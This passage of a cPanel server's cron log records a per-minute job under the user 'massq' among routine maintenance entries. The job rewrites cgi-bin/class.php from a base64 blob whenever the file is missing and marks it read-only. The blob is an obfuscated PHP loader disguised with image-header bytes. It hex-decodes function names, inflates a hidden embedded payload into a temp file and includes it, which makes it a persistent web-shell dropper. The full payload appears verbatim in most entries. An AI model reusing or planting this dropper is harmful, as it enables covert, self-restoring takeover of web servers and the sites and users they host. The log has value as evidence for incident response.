RmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:11:01 server CROND[3387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:12:01 server CROND[3815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:12:01 server CROND[3814]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 06:12:01 server CROND[3813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:12:01 server CROND[3816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:13:01 server CROND[4184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:13:01 server CROND[4183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:13:01 server CROND[4185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:14:01 server CROND[4639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:14:01 server CROND[4640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:14:01 server CROND[4641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:15:01 server CROND[5049]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 06:15:01 server CROND[5056]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:15:01 server CROND[5065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:15:01 server CROND[5070]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 06:15:01 server CROND[5071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:15:01 server CROND[5069]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 06:15:01 server CROND[5074]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 06:15:01 server CROND[5073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:15:01 server CROND[5075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:15:01 server CROND[5076]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  5 06:16:01 server CROND[5934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:16:01 server CROND[5935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:16:01 server CROND[5937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:17:01 server CROND[6349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:17:01 server CROND[6350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:17:01 server CROND[6351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:18:01 server CROND[6733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:18:01 server CROND[6734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:18:01 server CROND[6735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:19:01 server CROND[7343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:19:01 server CROND[7344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:19:01 server CROND[7345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:20:01 server CROND[7733]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 06:20:01 server CROND[7735]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:20:01 server CROND[7738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:20:01 server CROND[7739]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:20:01 server CROND[7737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:20:01 server CROND[7734]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 06:20:01 server CROND[7740]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 06:20:01 server CROND[7736]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 06:20:01 server CROND[7741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:21:01 server CROND[8575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:21:01 server CROND[8580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:21:01 server CROND[8581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:22:01 server CROND[8947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:22:01 server CROND[8948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:22:01 server CROND[8949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:23:01 server CROND[9323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:23:01 server CROND[9324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:23:01 server CROND[9325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5